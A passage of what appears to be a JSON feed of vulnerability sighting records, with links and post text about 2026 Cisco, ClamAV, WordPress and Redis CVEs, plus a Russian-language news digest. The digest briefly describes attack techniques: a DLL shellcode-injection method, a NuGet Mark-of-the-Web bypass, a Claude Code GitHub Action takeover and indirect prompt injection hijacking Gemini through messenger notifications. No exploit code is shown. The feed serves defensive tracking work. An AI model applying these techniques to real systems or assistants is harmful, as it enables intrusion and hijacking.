\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438,\u00a0\u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438.\n\nCisco \u0435\u0449\u0435 \u043d\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f CVE-2026-20245, \u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u043e\u0432\u0430\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u041f\u041e \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\u043c\u0438 \u0434\u043b\u044f CVE-2026-20182, \u043e\u0442 14 \u043c\u0430\u044f.", "creation_timestamp": "2026-06-05T11:13:51.000000Z"}, {"uuid": "5d9c3374-dd0d-4d2f-a4b1-3654196d4d4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20315", "type": "published-proof-of-concept", "source": "Telegram/b2UszBlL6pwI-lPO-fDfPtw13spnzDLEe20NOMPsyVWZxGY", "content": "", "creation_timestamp": "2026-08-20T13:00:03.996790Z"}, {"uuid": "1baa2907-9a4e-4ffd-a8ca-9c189178ee4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://www.cert.se/2026/06/cert-se-veckobrev-v23.html", "content": "", "creation_timestamp": "2026-06-05T05:50:00.000000Z"}, {"uuid": "8598e77b-773e-4116-960c-f138160e0b4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://www.cert.se/2026/06/cert-se-veckobrev-v23.html", "content": "", "creation_timestamp": "2026-06-05T05:50:00.000000Z"}, {"uuid": "ff868eec-1eef-4ca1-8daf-983077611861", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://bsky.app/profile/jbhall56.bsky.social/post/3msv6ljgd622x", "content": "CVE-2026-20349 can be exploited remotely without authentication against Secure Firewall ASA and FTD devices. www.securityweek.com/cisco-patche...", "creation_timestamp": "2026-08-12T12:57:59.188570Z"}, {"uuid": "cec8b1ae-d357-434c-a199-45e3ad3872f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://www.cert.se/2026/06/cert-se-veckobrev-v23.html", "content": "", "creation_timestamp": "2026-06-05T05:50:00.000000Z"}, {"uuid": "04387358-772c-4e9a-a1a8-bc15c3c2d3d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/cisco-security-advisory-av26-551", "content": "", "creation_timestamp": "2026-06-05T06:03:48.000000Z"}, {"uuid": "fa326bea-a8ce-4196-aef0-4e666116eab9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mnkuzbxb6y2p", "content": "\u26a0\ufe0f URGENT: Cisco warns of an actively exploited zero-day (CVE-2026-20245) in Catalyst SD-WAN products. The flaw allows root access with no patch available. Attackers are pushing malicious configs. #0day #Cisco #CyberAttack #Vulnerability\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-06-05T19:34:08.532901Z"}, {"uuid": "cd49ca49-80f2-4b1e-8b36-fa7fd1b4193f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20349", "type": "seen", "source": "https://infosec.exchange/users/jbhall56/statuses/117082650836225389", "content": "CVE-2026-20349 can be exploited remotely without authentication against Secure Firewall ASA and FTD devices. https://www.securityweek.com/cisco-patches-firewall-zero-day-exploited-for-dos-attacks/", "creation_timestamp": "2026-08-12T12:58:05.420031Z"}, {"uuid": "8b5c4f1b-ae4a-4bed-a495-41e346985c7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20339", "type": "seen", "source": "https://mastodon.social/users/hugovalters/statuses/117061228074947093", "content": "CVE-2026-20339 - ClamAV PESpin integer overflow, memory corruption DoS. CVSS 7.5. Unpatched. Update/limit scanning exposure. #CVE #Cisco #infosec\nhttps://www.valtersit.com/cve/CVE-2026-20339/", "creation_timestamp": "2026-08-08T18:09:47.471708Z"}, {"uuid": "ce85076a-a889-4c04-985c-a0e1e66bd7f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20357", "type": "published-proof-of-concept", "source": "Telegram/b2UszBlL6pwI-lPO-fDfPtw13spnzDLEe20NOMPsyVWZxGY", "content": "", "creation_timestamp": "2026-08-20T13:00:04.124292Z"}, {"uuid": "7531e480-8ef2-454a-8141-6c90929d6eb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20339", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mslo5f75ms2p", "content": "CVE-2026-20339 - ClamAV PESpin integer overflow, memory corruption DoS. CVSS 7.5. Unpatched. Update/limit scanning exposure. #CVE #Cisco #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-20339/", "creation_timestamp": "2026-08-08T18:09:47.739214Z"}, {"uuid": "305d5e9d-511e-4bcf-81e2-0429451e265f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20245", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mnkqjln2262r", "content": "Unknown attackers exploit a Cisco Catalyst SD-WAN Manager zero-day (CVE-2026-20245) via crafted file upload, enabling root command execution; patch timing is not announced.\n", "creation_timestamp": "2026-06-05T18:13:46.672569Z"}, {"uuid": "6ea4fa9e-6b69-430d-a42d-de758e32a119", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mnksgo2gzc2h", "content": "Cisco Patches CVE-2026-20230 in Unified CM as Exploit Code Goes Public\n\nCisco has patched a bug in Unified Communications Manager that lets an unauthenticated attacker on the network write files to the box and, from there, climb to root.\n\nIt is tracked as CVE-2026-20230, and proof\u2026\n#hackernews #news", "creation_timestamp": "2026-06-05T18:47:55.871401Z"}, {"uuid": "9cdef3d5-88cd-4ac5-8180-474fd040a30f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20230", "type": "seen", "source": "https://t.me/true_secator/8286", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u043c\u0438 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0438 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043d\u0430 \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043f\u043e\u0434\u0431\u043e\u0440\u043a\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:\n\n1. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 0x12 Dark Development \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043d\u043e\u0432\u043e\u0439 \u0442\u0435\u0445\u043d\u0438\u043a\u0438 \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Bring Your Own RWX Region DLL (BYORWXDLL).\n\n\u0412\u043c\u0435\u0441\u0442\u043e \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0435\u0433\u043e \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0430 \u0434\u043b\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u044d\u0442\u0430 \u0442\u0435\u0445\u043d\u0438\u043a\u0430 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0435 DLL \u0441 \u043f\u0440\u0435\u0434\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u043c\u0438 RWX (\u0447\u0442\u0435\u043d\u0438\u0435+\u0437\u0430\u043f\u0438\u0441\u044c+\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435) \u043e\u0431\u043b\u0430\u0441\u0442\u044f\u043c\u0438 \u043f\u0430\u043c\u044f\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430.\n\n2. Manifold \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 n8n MCP, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0434\u0430\u043d\u043d\u044b\u043c \u0434\u0440\u0443\u0433\u0438\u0445 \u0430\u0440\u0435\u043d\u0434\u0430\u0442\u043e\u0440\u043e\u0432 \u0432 \u043c\u043d\u043e\u0433\u043e\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0445 \u0441\u0440\u0435\u0434\u0430\u0445 n8n.\n\n3. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 GitHub Action \u043e\u0442 Anthropic \u043f\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Claude Code, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 \u044d\u0442\u043e\u0442 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442, \u0438\u043c\u0435\u044f \u043f\u0440\u0438 \u0441\u0435\u0431\u0435 \u043b\u0438\u0448\u044c \u043e\u0434\u043d\u0443 \u043e\u0442\u043a\u0440\u044b\u0442\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443 \u043d\u0430 GitHub.\u00a0\n\n\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 Action \u043e\u0442 Anthropic \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u0442\u043e\u0442 \u0436\u0435 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0443\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0433\u043b\u0430 \u0431\u044b \u0432\u043d\u0435\u0434\u0440\u0438\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432 \u0441\u0430\u043c Action \u0438 \u0432 \u043f\u0440\u043e\u0435\u043a\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442.\n\n\u041e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 GMO Flatt Security, \u0430 Anthropic\u00a0\u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0435\u0451 \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u0434\u043d\u0435\u0439. \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432 \u043f\u0430\u043a\u0435\u0442 claude-code-action v1.0.94. Anthropic \u043e\u0446\u0435\u043d\u0438\u043b\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043d\u0430 7,8 \u0431\u0430\u043b\u043b\u0430 \u043f\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0443 CVSS v4.0 \u0438 \u0432\u044b\u043f\u043b\u0430\u0442\u0438\u043b\u0430 \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0436\u0434\u0435\u043d\u0438\u0435 \u0437\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438.\n\n4. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 SafeBreach \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0433\u043e\u043b\u043e\u0441\u043e\u0432\u043e\u043c \u043f\u043e\u043c\u043e\u0449\u043d\u0438\u043a\u0435 Google Gemini, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0418\u0418, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043a\u043e\u0441\u0432\u0435\u043d\u043d\u044b\u0435 \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u043a\u0438, \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u0435 \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u044b\u0447\u043d\u044b\u0435 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u0432 \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440\u0430\u0445.\n\n\u041e\u0441\u043d\u043e\u0432\u044b\u0432\u0430\u044f\u0441\u044c \u043d\u0430 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u0445, SafeBreach \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0432 \u0446\u0435\u043b\u043e\u043c \u043d\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u0430\u0442\u0430\u043a, \u043d\u0430\u0437\u0432\u0430\u043d\u043d\u044b\u0439 Fake Context Alignment.\n\n5. \u0425\u0430\u043a\u0435\u0440\u044b \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 WordPress Everest Forms Pro \u0441 4000 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430\u043c\u0438 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u043b\u043d\u043e\u0439 \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0430\u0439\u0442\u0430.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0451\u0442 \u043e CVE-2026-3300 (CVSS: 9.8), \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0439 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0443\u044e \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u043b\u0430\u0433\u0438\u043d\u0430 \u0432\u043f\u043b\u043e\u0442\u044c \u0434\u043e 1.9.12 \u0432\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e. \u041f\u0430\u0442\u0447 \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b \u0432\u044b\u043f\u0443\u0449\u0435\u043d 18 \u043c\u0430\u0440\u0442\u0430 2026 \u0433\u043e\u0434\u0430 \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 1.9.13.\n\n6. \u041f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043a\u043e\u0434\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 Cisco \u0442\u0430\u043a \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 CVE-2026-20230 \u0432 Unified Communications Manager, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432 \u0441\u0435\u0442\u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0438 \u043e\u0442\u0442\u0443\u0434\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u043f\u0440\u0430\u0432\u0430 root. Cisco \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e \u0430\u0442\u0430\u043a \u043f\u043e\u043a\u0430 \u043d\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e.\u00a0\n\n7. \u0412 Tier Zero Security \u043d\u0430\u0448\u043b\u0438 \u0441\u043f\u043e\u0441\u043e\u0431 \u043e\u0431\u043e\u0439\u0442\u0438 Mark of the Web, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434, \u0441\u043a\u0440\u044b\u0442\u044b\u0439 \u0432 \u0444\u0430\u0439\u043b\u0430\u0445 .targets NuGet. \u0417\u0430\u0434\u0430\u0447\u0438 \u0432 \u044d\u0442\u0438\u0445 \u0444\u0430\u0439\u043b\u0430\u0445 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u0440\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a NuGet. MSRC \u043d\u0430\u0437\u0432\u0430\u043b\u0430 \u044d\u0442\u043e \u043d\u0435 \u043e\u0448\u0438\u0431\u043a\u043e\u0439, \u0430 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c\u044e.\n\n8. \u0412 \u041f\u041e \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u0430\u043c\u0438 SOPlanning \u0437\u0430\u043a\u0440\u044b\u0442\u043e \u0441\u0435\u043c\u044c \u043e\u0448\u0438\u0431\u043e\u043a, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u043b\u0438 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f SQL-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439, \u043a\u0440\u0430\u0436\u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0445 \u043a\u043e\u043f\u0438\u0439, \u0430\u0442\u0430\u043a \u0441 \u043e\u0431\u0445\u043e\u0434\u043e\u043c \u043f\u0443\u0442\u0438 \u0438 \u043c\u043d\u043e\u0433\u043e\u0433\u043e \u0434\u0440\u0443\u0433\u043e\u0433\u043e.\n\n9. OpenSSL \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e\u0431 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\u0445 \u043d\u0430 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 PatchTuesday. \u041d\u0438\u0447\u0435\u0433\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e, \u043d\u043e \u0435\u0441\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0448\u0438\u0431\u043e\u043a \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438.\n\n10. \u0418\u0437\u0440\u0430\u0438\u043b\u044c\u0441\u043a\u0438\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0419\u0435\u043d\u0438 \u0428\u0435\u0440\u0435\u0437 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u043e\u0442\u0447\u0435\u0442 \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 DarkReplica (CVE-2026-23631), RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0441\u043b\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 Redis, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043e\u043d \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b \u043d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e\u0434\u043d\u0435\u043c \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u043e\u043c \u043a\u043e\u043d\u043a\u0443\u0440\u0441\u0435 ZeroDayCloud.\n\n11. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u043c \u044d\u043a\u0440\u0430\u043d\u0435 Comodo Internet Security \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u0430 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0441\u0431\u043e\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u044b Windows \u0432\u0441\u0435\u0433\u043e \u043e\u0434\u043d\u0438\u043c \u043f\u0430\u043a\u0435\u0442\u043e\u043c \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 IP \u0432 \u0434\u0440\u0430\u0439\u0432\u0435\u0440\u0435 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0430. \u041e\u043d\u0430 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u043d\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u043d\u0435 \u043e\u0442\u0432\u0435\u0442\u0438\u043b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u041c\u0430\u0440\u043a\u0443\u0441\u0443 \u0425\u0430\u0442\u0447\u0438\u043d\u0441\u0443. PoC \u0442\u0430\u043a\u0436\u0435 \u0438\u043c\u0435\u0435\u0442\u0441\u044f.\n\n12. CISA \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2026-45247 (CVSS 9,8) \u0432 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0438 Mirasvit Full Page Cache Warmer \u0434\u043b\u044f Magento 